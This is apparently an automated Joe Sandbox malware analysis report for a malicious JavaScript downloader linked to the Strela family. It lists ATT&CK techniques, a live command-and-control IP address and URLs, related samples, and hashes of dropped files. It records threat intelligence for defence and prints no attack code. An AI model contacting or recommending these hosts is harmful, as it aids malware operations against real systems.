Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
522327491130758262.js	11%	Virustotal		Browse
522327491130758262.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/H	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/H	net.exe, 00000007.00000002.1424630786.0000019C4F208000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2655433064.000001BA5CC88000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1424630786.0000019C4F208000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1424630786.0000019C4F233000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1424740990.000001BA5CE00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588847
Start date and time:	2025-01-11 06:13:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	522327491130758262.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 52.6.155.20, 3.219.243.226, 3.233.129.217, 52.22.41.97, 184.28.90.27, 23.209.209.135, 2.22.50.144, 2.22.50.131, 2.16.168.105, 2.16.168.107, 13.107.246.45, 34.237.241.83, 172.202.163.200, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:14:10	API Interceptor	20x Sleep call for process: powershell.exe modified
00:14:14	API Interceptor	1x Sleep call for process: net.exe modified
00:14:14	API Interceptor	2x Sleep call for process: svchost.exe modified
00:14:22	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1574285771252416900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	201672639780846903.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1574285771252416900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	201672639780846903.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2435213596266856603.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22742867259569153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2612377921588116147.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49321630381532194
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaU:cJhXC9lHmutpJyiRDeJ/aUKrDgnmG
MD5:	051522F84B90D1465251764E367EA8E9
SHA1:	043F75642ADBE88AED4C744D472E4907361DAAB3
SHA-256:	335E8A0D5F5A9DF2767BD2017B117A6FC6D3892103E859609162D9092AD1FD1C
SHA-512:	625CEEAE4024DC61E3F7071AC50FD973A06C148BC7C2B9041BF885BE7F74289EFE0F920FE09C7D1D0AE946959E3D7D4F95BDB3B3C270DD0A8E9CE7206BEE68D3
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0ffdf6bf, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7217270527145724
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:zazaNvFv8V2UW/DLzN/w4wZi
MD5:	C97D1726E872429708DAA16512266E65
SHA1:	9EDB2AD82C209E53377D37F2341C79B87A739D87
SHA-256:	3DE6D477E16C435A644DAA29B5E469DFF6B5C7EB2F8BEBE7E9B3DB6AC6C0CC42
SHA-512:	6140B615C443FCEF3DFF7CB19B19DA0DB218A5BAE38E366729A2EAFB58573BDA4D7B17A6FF754EC5F278760356EF730CDA4D338BD3552E0789EF931B4CE30554
Malicious:	false
Preview:	....... ...............X\...;...{......................p.D..........{}......}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................}.*-.....}...................q.....}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08047660910501132
Encrypted:	false
SSDEEP:	3:FllEYec+pgpsgr/fgsCrZClW/t5PVFpllYll+SHY/Xl+/rQLve:NEztpgpxfgs3GRFpQAS4M
MD5:	47D666648668D80D4BC6B04FEB4F4784
SHA1:	9C074BA4035E30AE08C25C069526106927016BE0
SHA-256:	32685AE2929BC5B9623C81FCF7C6B66121B6870BF4156F9AABC3DEC6CD7C2502
SHA-512:	75C98842C019B63E20096E6AAE336EB23DAB52147AFF0D974EDE13B709BD6039EF3E6017AEE52E287AA6C1061C0561540AFEAA89E76BC4C7BA406A7D4B80247D
Malicious:	false
Preview:	d{.;.....................................;...{.......}.......{}..............{}......{}.vv_Q.....{}..................q.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.175691876029982
Encrypted:	false
SSDEEP:	6:iOOS4q2PqLTwi2nKuAl9OmbnIFUt6SJZmw4SDkwOqLTwi2nKuAl9OmbjLJ:7Oxv8wZHAahFUtT/X5TwZHAaSJ
MD5:	3AFF4286BCB5983553C471625BFFF2C8
SHA1:	7A2FDBBBF3A82D479A69824EE296051297D78970
SHA-256:	588EE9552A966B2970B1D1F6A2232AD43C4B2BE6BB27400CB15E7C67560B279B
SHA-512:	B08047DD36D5E6E83E16B24CCE499A582A0B64784CC9CD408A7E6C3658619D6ED486DD4258EE69139F2A252B3231C11DD459EB1F04CE7EBA9A0781B3722F68EE
Malicious:	false
Preview:	2025/01/11-00:14:14.624 1f84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:14:14.626 1f84 Recovering log #3.2025/01/11-00:14:14.626 1f84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.175691876029982
Encrypted:	false
SSDEEP:	6:iOOS4q2PqLTwi2nKuAl9OmbnIFUt6SJZmw4SDkwOqLTwi2nKuAl9OmbjLJ:7Oxv8wZHAahFUtT/X5TwZHAaSJ
MD5:	3AFF4286BCB5983553C471625BFFF2C8
SHA1:	7A2FDBBBF3A82D479A69824EE296051297D78970
SHA-256:	588EE9552A966B2970B1D1F6A2232AD43C4B2BE6BB27400CB15E7C67560B279B
SHA-512:	B08047DD36D5E6E83E16B24CCE499A582A0B64784CC9CD408A7E6C3658619D6ED486DD4258EE69139F2A252B3231C11DD459EB1F04CE7EBA9A0781B3722F68EE
Malicious:	false
Preview:	2025/01/11-00:14:14.624 1f84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:14:14.626 1f84 Recovering log #3.2025/01/11-00:14:14.626 1f84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.157152462178629
Encrypted:	false
SSDEEP:	6:iOP5s3+q2PqLTwi2nKuAl9Ombzo2jMGIFUtdJZmwSHNVkwOqLTwi2nKuAl9Ombzz:7PeOv8wZHAa8uFUtn/SHz5TwZHAa8RJ
MD5:	194DBEFDD4E14C9FD7400761FC42E716
SHA1:	7EFCB34CFB800A82C97DA173521CBF0EFD295966
SHA-256:	D7223E1A81463216265AD77AC2592E4FC4D3C46599D0978D25D8478910EF021D
SHA-512:	3734F4E0AED40F1EB68291129E23B503C7030AC152BCEBB6B252C9786ECAA9851D42F76651CA80791ECF279E2666323C270F2A57FA9C565CEF26C81C890E0EF2
Malicious:	false
Preview:	2025/01/11-00:14:14.709 e98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:14:14.711 e98 Recovering log #3.2025/01/11-00:14:14.712 e98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.157152462178629
Encrypted:	false
SSDEEP:	6:iOP5s3+q2PqLTwi2nKuAl9Ombzo2jMGIFUtdJZmwSHNVkwOqLTwi2nKuAl9Ombzz:7PeOv8wZHAa8uFUtn/SHz5TwZHAa8RJ
MD5:	194DBEFDD4E14C9FD7400761FC42E716
SHA1:	7EFCB34CFB800A82C97DA173521CBF0EFD295966
SHA-256:	D7223E1A81463216265AD77AC2592E4FC4D3C46599D0978D25D8478910EF021D
SHA-512:	3734F4E0AED40F1EB68291129E23B503C7030AC152BCEBB6B252C9786ECAA9851D42F76651CA80791ECF279E2666323C270F2A57FA9C565CEF26C81C890E0EF2
Malicious:	false
Preview:	2025/01/11-00:14:14.709 e98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:14:14.711 e98 Recovering log #3.2025/01/11-00:14:14.712 e98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.962371522042816
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqMDhsBdOg2HOfcaq3QYiub5P7E4T3y:Y2sRdspDydMHOu3QYhbt7nby
MD5:	B46E97F2DC351097FC816D72B1355904
SHA1:	606DDF5DC70289B472A04E953121AAC1B97EA8EF
SHA-256:	C5DE717867B067474D7337BFE72249E5476BB9C620C903F22C775795BAB7487B
SHA-512:	0D3857E8DC9621FB67125460EAFFA2140632D3551981172970F6144F9F232B701697905D2E299E425D7499181DDFE8FF4DACCD50E1DD4B93DB9A9F22063AA05C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132466434056","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125989},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f51fc4e1-2a33-4a4e-beef-72142a1cbc4c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.962371522042816
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqMDhsBdOg2HOfcaq3QYiub5P7E4T3y:Y2sRdspDydMHOu3QYhbt7nby
MD5:	B46E97F2DC351097FC816D72B1355904
SHA1:	606DDF5DC70289B472A04E953121AAC1B97EA8EF
SHA-256:	C5DE717867B067474D7337BFE72249E5476BB9C620C903F22C775795BAB7487B
SHA-512:	0D3857E8DC9621FB67125460EAFFA2140632D3551981172970F6144F9F232B701697905D2E299E425D7499181DDFE8FF4DACCD50E1DD4B93DB9A9F22063AA05C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132466434056","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125989},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.22431420650256
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzLin/q:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzLD
MD5:	641EC70E500370A27D71AE11BF8F1708
SHA1:	9AB1DCA0CECB8070582871AA48BF453846F9486B
SHA-256:	94051E4B1EB5EDC65962A8E4D77629ABFBF72642A5BE357494595D7EE820AE72
SHA-512:	EFE739AA0697133B8E429866A926D0FA5E6D9080404E674DD86FDAB67EFA2DAEF85575CEC93A92D09FBC276DA619B381755378F54249F0E8D0FA20E40300C767
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.179676453432189
Encrypted:	false
SSDEEP:	6:iOHgk39+q2PqLTwi2nKuAl9OmbzNMxIFUtxOZmwoNVkwOqLTwi2nKuAl9OmbzNMT:7Hgk34v8wZHAa8jFUtxO/U5TwZHAa84J
MD5:	03416F0666C84F182C6AA6A1861C5E90
SHA1:	24D9C418A2EE7D90D526FDC488B4E7C46B03C90D
SHA-256:	CD49CE6E51E1F893A10C27101A993FC23A3BBD6B555295160A53D0C27F625220
SHA-512:	1806881EC941ACF26360E30E30A9B30856CEED5B45076A9C572B4404E85B1B3C831479FB72D6825AA5CDC94B493770D25550CFD6EA43A9AB73E6C4352DEC97DD
Malicious:	false
Preview:	2025/01/11-00:14:14.788 e98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:14:14.789 e98 Recovering log #3.2025/01/11-00:14:14.790 e98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.179676453432189
Encrypted:	false
SSDEEP:	6:iOHgk39+q2PqLTwi2nKuAl9OmbzNMxIFUtxOZmwoNVkwOqLTwi2nKuAl9OmbzNMT:7Hgk34v8wZHAa8jFUtxO/U5TwZHAa84J
MD5:	03416F0666C84F182C6AA6A1861C5E90
SHA1:	24D9C418A2EE7D90D526FDC488B4E7C46B03C90D
SHA-256:	CD49CE6E51E1F893A10C27101A993FC23A3BBD6B555295160A53D0C27F625220
SHA-512:	1806881EC941ACF26360E30E30A9B30856CEED5B45076A9C572B4404E85B1B3C831479FB72D6825AA5CDC94B493770D25550CFD6EA43A9AB73E6C4352DEC97DD
Malicious:	false
Preview:	2025/01/11-00:14:14.788 e98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:14:14.789 e98 Recovering log #3.2025/01/11-00:14:14.790 e98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438226013922443
Encrypted:	false
SSDEEP:	384:ye+ci5GNiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:phurVgazUpUTTGt
MD5:	D3715EEBE06F346EEF56C0558FE22924
SHA1:	D05A649195149D787C6B1174111888E9AEA30F82
SHA-256:	06FD03756E90B97BE6910D4EC0E36A586F2341EEF86B876B8A22A10F9756669D
SHA-512:	4BB80D336B7463840A682ACBF2A5318D63B034ECE4EC9FE5B16903272CD9FBCC8BCF49768D7FB8E4DEB74B6DA868AB6D31DA5564757688B3A45F11B0B4C4E668
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7686570461831965
Encrypted:	false
SSDEEP:	48:7MxJioyV2ioyEoy1C7oy16oy1YKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O/:7WJu20nXjBitb9IVXEBodRBka
MD5:	538A939C706939DE097862E2F4DEE884
SHA1:	E81872EE51456F62A6FF4BFA712E73DDEB9038E3
SHA-256:	093EF325CCEE22CCE0AB63209ED4AC7F3CF0E2080FDEFE7473688AE0A6ECEAC0
SHA-512:	DE5AC69C7BB928EB8246D0502670D6317C230E2FA4334C312B8637B024B8927170BC598432437DE75AF519FD9837757F923DA5071D1396202226C8D0922B042D
Malicious:	false
Preview:	.... .c.......}%...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
